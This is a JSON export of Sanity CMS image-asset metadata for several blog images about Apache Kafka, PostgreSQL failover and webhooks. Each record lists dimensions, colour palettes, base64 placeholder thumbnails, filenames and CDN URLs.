{"_createdAt":"2022-12-07T12:21:26Z","_id":"image-4230388f13ae18f45a02d66f98dac54dd8883d92-1567x844-png","_rev":"LoIDMXrOVwNddwV7RC7bAN","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T12:22:06Z","altText":null,"assetId":"4230388f13ae18f45a02d66f98dac54dd8883d92","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MADI,u01rqt,:*63~DnzD*F_rY%LI[$ywL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACTUlEQVQokXWS205TURCG92MYn0Bu7O7u7pm2trvQJgYoVFp6lNBSyhZ7LrWIbeWQiBwaAZELI3KlIUYfwIfwwiu98FU+s1ZSDyRc/Fkzs9bM/POvUex2O263+w+8Xi8ejweXy4XD4cDpdEp7dC9sXddRVRWLxSKhqn+hBINBYrEYqVSKbDZLLpcjnU4zPz9PPB4nmUySyWTknYgnEgkmJiaw2WxomhW324nT6UBVrbK4EolEZEKhUKBcLmOapjyXl5dZWlpiZWWFarVKpVKRvmgSjUYRedPTU6QSMTJxg6mwlXHXXZRwOCzZLCwskM/nKRaLMnFxcVGyFWepVJLx2dlZAoEAk5OT8k2z2aTdMNnvxjjr6NTSYyhCI5/Ph9/vJxQKyXFEE2ELOQSELxgZhoFhhKQdm5mR0/Q2u1wMTb6eRRhWx1CEuCNYrVaJf2MC4qPEFJlMVmodn5uTDYWenU6H4/1NznfyrCZtKKOfugmiYDQSod1q0V1v0nhUotOsSW2LhQL1ep3tZ5vsmqsUA/f+Z3gThAyVR6ts1Yu83ihzcXLAcDik3+vRbLUYdLq8K9f5ZDxAcVpVvHYdj8uF2MnRfo2KCTvg92E+THDczvFhr8H7N684OT1lZ2dbMnzaecJVp8fPpIkyrqkYbhdBv18urdDwesGwR2M76+FL9z5XuyVO9/ocHuwzGAx4vLZGo9Hgsr/FD3MdRbdacNg07LqOpmnXGAodVWLeO3zM3OJX+zbfnvv4PGxx8facw6MjatUqtXqdyxcv+b7R5zd/yK45pxb1ZwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3245","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a2620","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9b9b8","foreground":"#000","population":9.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b9b8","foreground":"#000","population":9.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f13851","foreground":"#fff","population":1.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ba7375","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39016","foreground":"#000","population":3.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Kafka_Ecosystem_announcement_blog.png","path":"images/sczeoy4w/production/4230388f13ae18f45a02d66f98dac54dd8883d92-1567x844.png","sha1hash":"4230388f13ae18f45a02d66f98dac54dd8883d92","size":544061,"title":"Complete ecosystem for Apache Kafka [astronaut bouncing an earth in their hand]","uploadId":"5jdmzeN0nEZNOlT4Okb742lT6W7Si1uz","url":"https://cdn.sanity.io/images/sczeoy4w/production/4230388f13ae18f45a02d66f98dac54dd8883d92-1567x844.png"} {"_createdAt":"2022-11-16T09:07:32Z","_id":"image-c827b316b853e09cdd007cc248ffeedaf4efcea3-1200x412-png","_rev":"bUMlF7B1Xxw34pzcKg8Y62","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T09:12:07Z","altText":"Collins Munyendo quote","assetId":"c827b316b853e09cdd007cc248ffeedaf4efcea3","description":"“It’s been a very educational and rewarding experience. I got to learn so much about open source from all the amazing speakers. My knowledge of open source has been challenged from a legal and technical perspective. I’m just very excited to take back all the knowledge I’ve learned into my career and share it with my community.”","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.912621359223301,"height":412,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsSAAALEgHS3X78AAABLklEQVQokU1R0U7CUAw9y2QxGJREYEMYMEAI/oDhB3gwfINR30l8Weun+WJi/BX9CQi2pN1G9nByetue0957oYyOMgbKGCqhr4y+ksepMkZiTBgIeY/nrCaEkcfsedN1lHAJIfSUMFFGVjaMPSbMKkhRs3zVNz3XGVPLSbHIlRkmQpiKCQlZFStjIYSlEu6V/WwGLi55XsNCyQf1oIyknFIVzWAuhdFSyJvrhrblxA3sZoWR6YxjHPIg2edBts+D2SEPZv/lpiYSOg8ZloNj20IZ3RrsHAvhVhlNfL9ed79ebtLP5/b4562V/u6i5Ej+UR2hUkRoKSMSRsOgdRAaQs4XygiwXa/aT+tVvHl8uNuuV933Tdb820WhfiA8EkIhhEoIhAEl2Js7OxjwfA0nonPUR4yfQEoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584634","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#682a04","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#584634","foreground":"#fff","population":0.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b471d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b893","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d6250","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f5c26","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Sustainability-update-quote-Collins.png","path":"images/sczeoy4w/production/c827b316b853e09cdd007cc248ffeedaf4efcea3-1200x412.png","sha1hash":"c827b316b853e09cdd007cc248ffeedaf4efcea3","size":34059,"title":"Collins Munyendo quote","uploadId":"VgfEKkRKY168MUV2HYLF5XPT5fdIUhPO","url":"https://cdn.sanity.io/images/sczeoy4w/production/c827b316b853e09cdd007cc248ffeedaf4efcea3-1200x412.png"} {"_createdAt":"2023-01-10T10:27:02Z","_id":"image-d1dec75ee68d50e647bb7e5e069c2d42576d9be4-1567x844-png","_rev":"Y8XrsvoJ4zglb1hB5GH321","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:28:01Z","altText":null,"assetId":"d1dec75ee68d50e647bb7e5e069c2d42576d9be4","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMEnz.5?5E-hr?0p-n}.5Tae^eNLEQ$$WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACTUlEQVQokW2SzWsTQRjG989oAtbWYg3Nx3zs7GY2m6TdbEKSmlo9hNq0SSjJwYN4EVT8OOhBDyqISA+CIHgRqvRQbE96FREv/h+KIKlVtvPIjGlq0cOP55134JnnfRnLdV34vo98Po9CoWBqz/MgpYQQApRSEEKMHtYEhOgzAWMENicQ9h+1SqUSms0mVlZWDK1WC8vLy6ZXqVTgOM7IbMTQVJt5IoO6TGPRy6DsEli1Wg3tdhv9fh+9Xm+ka2trWFpaQr1eN6kZY4dJh4Y60YKfxN3qNJ5VUrji2bCq1apJ1Ol0DN1u1yRdXV01tU6sk9q2PTI8UD3m+dkENhYn8bGRxLrvwsrlcgiCAGEYGsrlsjlrdK1XkvM8cMbA9JiUDpVAcIL5XBI3y6fwKEzhksdh/b0bPZbmSI9ScD0eJXDYITalBikIQklQ8xgCacPS8f+HWfrQpJjN4EwphU5jBr2zM2ifTmIhSKPg6nsKR9hwPR9urmgSqn8hilOisnZGNYKUutpO4MX1KfXuwQTePz6Ot/cn8PzalLrcSmC+mFZSCOVmC0rIWWVlGYXvCOSkHH0RnczlGSyGKTy8eBKf1sfV11dx/NyKIXoTM/plI44PT8bVvQvTaMwRuLYA5wJWntMo9LJRUCxGUsqIMxZxSqLQT+/f7k+rz0+PqV9bMWBnTGFnTOsBam8rZh670U2ouSzZtwmNLMHIwLX5wHXEgHM+YIwOBMvsNqvJvc07k9H3zbgxUtsxpbZjWg8w/W+v4+rlrRPRuVL6h0vY7m8PZZUNR+BjtAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323456","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#37290c","foreground":"#fff","population":1.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb41b","foreground":"#000","population":13.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baa26c","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd430","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c749f","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb41b","foreground":"#000","population":13.35,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"Y8XrsvoJ4zglb1hB5GH1gM","_type":"reference","_weak":true}]}},"originalFilename":"Upgrade_and_failover_for_PG_announcement_blog.png","path":"images/sczeoy4w/production/d1dec75ee68d50e647bb7e5e069c2d42576d9be4-1567x844.png","sha1hash":"d1dec75ee68d50e647bb7e5e069c2d42576d9be4","size":69825,"title":"Switchover just got easier","uploadId":"1EjQELGheAeCxGF3RHv6ITjpPBFVJYAz","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1dec75ee68d50e647bb7e5e069c2d42576d9be4-1567x844.png"} {"_createdAt":"2023-01-23T12:39:24Z","_id":"image-ec4f7f7697116f749e26449e8bd300c7b431f46e-1567x844-png","_rev":"7aZRizEs9TRA92eUW1x4el","_type":"sanity.imageAsset","_updatedAt":"2023-01-23T12:39:36Z","altText":"Webhook data from Apache Kafka to the world","assetId":"ec4f7f7697116f749e26449e8bd300c7b431f46e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB40lEQVQokWWT21PTQBTG0yYBKtLCgwq88eJANr1R2uKlLYgw4zDiAE5VRBC7SSOtLTPYF0cHplzEcqn/8ceck14SePjmZDfZ3+6334kymNhHJFPH2PwBRrMHGEnX8HDuB9dwpoZwuoZQsoKAKEOZsfwyurL7epI7ROr9KXJfWni+dYHMh3MeJzdPkC6eIfvxL6ZX//AGqllGkMDdxQztwmi+DGVyocGg5VIbC7tXWPzqqrBziVd711j6doPcdgvmu2NMrfzC49whyJULsfww0kShgbniGUPolARdlm2syP9Y2rvBy+0WXnz+x++efbrA0ze/MZyqImBYUAXJ9p96PP8TiY1mD0YAqq9LbeR3LmG8PcJkoYGJfAP0bSRbhx5zoAkJnWVBFzY0w0aQgBQGWaGFsfUmxNoRxNox4utNniOLWtTxWLP5ZLopuQZ4XIZOovdq1OE7GUpW8GC2itCsW/k5WYEWczogB4pwOG09akE1OwnPuFZVw8YAbXqvFabvqJekH6j5gBY0w4JO45CQiCQcjKSqGIjvIyA8PXVPbpJey0EKx5DQDclQJWyWMJ5y8Gi+zjYZ6O2vXhP3wXRvmikZ6gZDMMnJKzQYitoYjH+HanYuvwu4C/ZYdNtGIsjB9P+aW3EPdb4VfMdGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513546","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcdd","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1464d","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Webhook_datafrom_Apache_Kafka®_to_the_world_blog.png","path":"images/sczeoy4w/production/ec4f7f7697116f749e26449e8bd300c7b431f46e-1567x844.png","sha1hash":"ec4f7f7697116f749e26449e8bd300c7b431f46e","size":76289,"title":null,"uploadId":"ZWLwQ05jQMCvt2QaDGlTXwAhUKQPC8yd","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec4f7f7697116f749e26449e8bd300c7b431f46e-1567x844.png"} {"_createdAt":"2023-01-10T10:34:18Z","_id":"image-1b6ae7629504f74e959535fff5ea5d38049563dc-387x385-png","_rev":"E0WcOAmhawew35VucClULO","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:34:50Z","altText":null,"assetId":"1b6ae7629504f74e959535fff5ea5d38049563dc","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"emL:=sM|.moL?bx]fkxuofayo~of%2kCM{xuWBxuayM{j[j@WAWBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0051948051948052,"height":385,"width":387},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAFS0lEQVQ4jVWUSVMTBgCF80s6PXjodJs6tlZbTaHKIAJGBWUXFAWXxBDWJIRAyAZISFgTmiYisgkoiFAZBBREpY7WWrW11gWKgoIiVJRs8HWA9uDhXb+ZN28RzM97cbt9eD0L+HyLuN1exsfGGezppaasgmNyBfIDyUj37EMpTqGiyMRgbz8vJ6fw+XwsLi6+J4Fr3ofbvYDHs4Br3sPo41Fa65uQS1PZFxnNnp3hRISICAsKISp0BwciY9BkKTjf3sHzZxP4vO9DBS7XCvDdWzejD5/QUlvPwYRE/DZ+xzfr1uO3QchmoT8hmwKICgomLjiEmFARmWIJXWfamJx4gc+3wOLCf8B37zzMv/PwdOQp7XWNpCYm4/+tkDWr1xAgFBIvEiGJjER9IBFLqhSLTII8Ppb47SLkR6X0d/cw+3qWhYXFZQnm3riYmX7Dlb4B1NI0tm8KZONX6xD5+6NOTKAhP4fzlmMM2Su5edLOsKOcZq2StOjdRIeGYtbpeXD3dzxu7wrwzRsXE88maaqpJy4sgs3fCtkVEIA+aS/nS/TcaXDwqL2J0c4W/u5s5q/WGoaqijCJ9xMTFEhKQjzdra1MT75cDlUwN+fi6eg41eU2ggK2IPx6HUfCdlCvSufnH0q531zLSEczY52tjJxt4s9Txxm2FfNjhpjE0CDiQrZSZTTw+M8HeL0LCN7OuRl9MkZpsWU5iA1rviQ1IoyTilS6inQMVpVyp6GGR2cauVvvZMhqofuYFkeGhCM7QokNDqLcsAT8a7l6grdzLu7dvodWlUvgxu/YLhSSmxCLI0OKIyON+mwlF81F3HJUcbnMRKtGTaNagTP9KJm7d5IcHka93cGL8RcrwH9m3zLQ00dqUjIxAYGoIiOxpx2lJU9JS56aNq2G/iIdw6WFDJiMdBl1dBZoOZOnwLg3lrS4OM42NfP61cyK5VeT05ypa2Tfrt0khYRgl0po02RzwaRn2FbGdWsZV0xGrh7TM2wu5IatjJv2Si5ZCqhOEaPen8jZ+gamp6bxeRcRLPWvpsJKVMg2ErYGUS0V05anpL9Ez2/Hrdx1WLlqMjJg1DBsLuCu08q92h+4UmmiVpGO7tBBTh8/wYtnz1csjzwcwVZSRtiWYER+fihjorDLxHQXavjFXs5Nq5mBgnz6tGoGi7Tcqi7ldo2VC2YDlqOHyEyIp6a0jMf3H+B2eRE8G5vAWe0gfNsOhGvXs3XDRlJ27aQxJ5OhskIGCjX0qORcyFbQl6fiqtnINVsJJ9VZpERHII6JxWku5eG9P3C7PAimX81ysW+QHEUOwYHBfL1mLdv9/Ck+fIAuvYpevYq+vGwuanIZ1Odx2aSjszCX/OR9HIqOxqI1cKXvElPPp/C4fUvTm+f5+BRXLw9jKSlHcliKOCERw8EkTqRLaMtJp1ubQ78xnz6jhvN6FU55Cul796BVqrg2MMTrlzO4XJ6VlP9/m9fT/3D71h262jpoqKjEnq3AJj1CteQgTpmYukwZdVky6hQyfpTLKMrKoLHmJH+PjC2Dlna8PL2lHk5MTHHj5q+0nmqhwVrJaXMRp3Rq6nLkODNTsadJOZ4po1aZRosumxajGrMiHWO+jrb2Du7ff8DMzCxejw9Bx7luKqrsHJbIiAiPIPdQEqd02ZwtyKPTZOCcyUBHsZ7OEgM/WYz0VpnoMOtR7o8nwH8ToaIwshTZNDY1c/36DQSi8CjWbfieVR99zuefrUYSHUGzMYefzHp6Korpt5XSW1XChUoT/TYLl52VtJsNHI4M55OPPuGDD1fx8adfsGXrNo5IUvgXJmtqTr5AMN8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3e3f","foreground":"#fff","population":3.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2f28","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e3e3f","foreground":"#fff","population":3.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1a8a5","foreground":"#000","population":2.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4aba4","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56f63","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc938a","foreground":"#000","population":1.87,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"alexander.png","path":"images/sczeoy4w/production/1b6ae7629504f74e959535fff5ea5d38049563dc-387x385.png","sha1hash":"1b6ae7629504f74e959535fff5ea5d38049563dc","size":255039,"title":"Alexander Oleknovich, Staff Software Engineer","uploadId":"A9ZR0IHTkRkUbCbJU1Ke1czfjj8QJmgH","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b6ae7629504f74e959535fff5ea5d38049563dc-387x385.png"} {"_createdAt":"2023-01-09T11:36:23Z","_id":"image-609391ebbad4bf6ea6c66e2666b36f152e20bc88-1083x551-png","_rev":"kOCMbKnaOAjdRaibvUDv76","_type":"sanity.imageAsset","_updatedAt":"2023-01-09T11:37:08Z","altText":null,"assetId":"609391ebbad4bf6ea6c66e2666b36f152e20bc88","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9655172413793103,"height":551,"width":1083},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrUlEQVQokU2Sy27bQAxF/f/fZLSLrgojAZoGCRxbD0uakeZNzkPSzEhyYbmLAHdBEjwgcC8PGO4Y7satxi3gt2eLYcOwftM+96uxSULWdsF984DhDn7jOhIWBjlruxi3CpOkGo0JaDzCiC6jX9Egb5rzJ71UVsFin7DxWy9T2fmqs0zNEjJlI6GWDygZSG41RMTRd+fh5fj7+Ot0Krgc7bj9h6lcr10q2rEXOyxSTWNNYkPnbohcZzAQ2r/sz4/Xn8e306sUYMN2AL9pu1K5FCRXJHEVNUTC8lezfFT5s8rXNvd8MpLDUPGuvl0LUpfGWAzbQdtVmMxU6njqWBQ6avO4dr7ljyq/F+mrTj0bteRSMNJD21suHbj0gJ/2MDX3YhrUrDBrzJTHmuaKriVZapIHMUsTKHdFY4ub68Vk3PKAMWwSci8mygPX0ex5cAED91QkyuPAHONAmCtbvJSqqkRPjdEBXd4Nc6uELEx6BBg2cLNWQikQehZqVEoLITqKdQdNK9uKtGUzEKa0f8DfHmMv/AJuBhfBLbtmsJO2SbsotbsW7dv75XxpyID/AKpeLaCXWjROAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#101142","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ef9e","foreground":"#000","population":0.15,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ef9e","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6aaa","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38415","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"static-ip-blog-firewall-allow.png","path":"images/sczeoy4w/production/609391ebbad4bf6ea6c66e2666b36f152e20bc88-1083x551.png","sha1hash":"609391ebbad4bf6ea6c66e2666b36f152e20bc88","size":44895,"title":null,"uploadId":"2D5HdhXXN9HxXZWlRa8UUqsG4jTHBrJ7","url":"https://cdn.sanity.io/images/sczeoy4w/production/609391ebbad4bf6ea6c66e2666b36f152e20bc88-1083x551.png"} {"_createdAt":"2023-01-31T10:39:50Z","_id":"image-745d5470a4833e2258b9c2826471eb11a47a105a-1480x894-png","_rev":"pnOvEyahjeT2Gte9fevAkN","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:50:33Z","altText":null,"assetId":"745d5470a4833e2258b9c2826471eb11a47a105a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6554809843400446,"height":894,"width":1480},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQokV2S626kMAyFef/n65QdYGgHSALkHkJCEidUTFdbda0j+4+PLPl81fmryrdKOSGVeOQYcvpWzDmX38tndTnKpdeAM6czJ4jRCiuwFFhKItWsjfDHDjmVAqXkS2c5qwwlhhwPiD4Gu4VNRaud1nzAuO5x3ZO6X5qBI2Xo4VWMW0w2gYMCpTocGBkUO8RqKRIMMbVKtij0uT4bPLRk6sjYLdOgybhL4vZ1d9QG6XKAKniwOkrh8br1RDwXjpkcqXpg2Y7iMakPotpJNqN8IEUWqRZmCfVMwRGrnEuCvB9h1vpD0rucGjV1itwFvtHpD0M1R290uNGx5lMnpoXOGjNPDfj0ethZYozaGCJZx3CzoHbGzYxueHhDnzdy9ZoMPZ+eapzVLLjctYMI1ZULRIj+2HepzERk3/Puzrt31rzT+/vaNaxtWNtSNC1CErkxbvUWHORclZxzOnLY07EbazAXA+FokKhW6E3im5ofZpzM/ck7tM6KGWc3f/gUcymvyxlKThniHtxqzWw055Y/N9po3hlFdmrchzadVnjfXEwAV9J/IfkHVkygbOAqcHYw7Oi4s8ltMvgr2rRBcgDwsv0Q9gNnOUPMzoIRQa9ezd4s/rApvw79D+d5fgGZvqgO2K0EHAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#633433","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23937f","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c5a4c6","foreground":"#000","population":1.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5a4c6","foreground":"#000","population":1.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9a9f6","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5dab82","foreground":"#fff","population":1.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44c46c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-tag-cloud.png","path":"images/sczeoy4w/production/745d5470a4833e2258b9c2826471eb11a47a105a-1480x894.png","sha1hash":"745d5470a4833e2258b9c2826471eb11a47a105a","size":54813,"title":null,"uploadId":"j8eyK2kO8kmJDEgTNlrz1dzeKcNF1uBj","url":"https://cdn.sanity.io/images/sczeoy4w/production/745d5470a4833e2258b9c2826471eb11a47a105a-1480x894.png"} {"_createdAt":"2023-03-20T13:52:37Z","_id":"image-bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9-1567x844-png","_rev":"0lF4kyZBi1fr8QymZFDRUl","_type":"sanity.imageAsset","_updatedAt":"2023-03-20T13:52:37Z","assetId":"bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97-~q_3ITRjRj_NxuIUofayD%IUozxuoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSUlEQVQokXWS208TQRyFp+nuchEQNETgwRiMCjO7Lb1xL0WBYjWiIpeIFJTuTrfITUMTRYkglyBFCv6vfdvMMTOlqDE8fNndyeT7nTk7xAjmcC2yirpomYbYmqKxZwM3+z+gqXcD9dFV1IZX/qM69B5+ywWhvIIgzQMfEXz5Hd2zh4hM7SM6fYDQqz3EZg4w8OYHYjOHYM++wZzYQXhqH5HpfbXfer6LB0+31WAfy4JQiQvSlshjcP4YY5kiEgsFDC+eIJ4+RmLxBCNLpxicL0vj6YLaM5opqkFsYgd3xj6jPrYGH3MFYa7wma5Qwr65Izx8WxZJyejSKcadM6Sy52rIULqApH2GMbuIoYWCOkXr0CaqgjloJoffzArNcoVuZQVpG84jOnOgpH2vpfinEj7m50hlf+HRu/K3lPXPHeFe6ita4puoCy1DozY0loFuOkK3uDACXJDWRB5dk3uqQymtJEzaRXXEntlD1Wlocg/3n2zjRu8GDDMLgzkwmA2d2TBMhTAsR5Dr3etoT24h8GJXSWWH8liyJ5lcVlIb+fNXdcuFTh2FFBoXUt20hYTogZxo7FkXrYm8uD3ySdwd/yLak1vq/VZ8U1R1LQvS4ZTplHChUS4M6giDSWyh0pmZsrDGtNEUyqGpe00lkfdSD+SgWa4sGz52eccu8VN+kbCCTCi7tEEazIzXEnG95t51rya84hHKPdLheKTzL+QarTy556Pc81Pu6dTxdOZ4GrM9/wVEZ3ap2uKlqmCu5LfcEqH8Cpwr1v7lNxqLhlM2B9z6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3a64","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":47.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":47.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcacd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bcda","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c64b4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0474f","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Apache_Kafka®_preserves the_message_ordering_per_topic_partition-or_does_it_blog.png","path":"images/sczeoy4w/production/bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9-1567x844.png","sha1hash":"bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9","size":107987,"uploadId":"Y0mfKHtMO9K6Vmrku6rSNVR0uXaK83e1","url":"https://cdn.sanity.io/images/sczeoy4w/production/bd460cdf723711bc2fe6d6c9749f5c6fc71a9eb9-1567x844.png"} 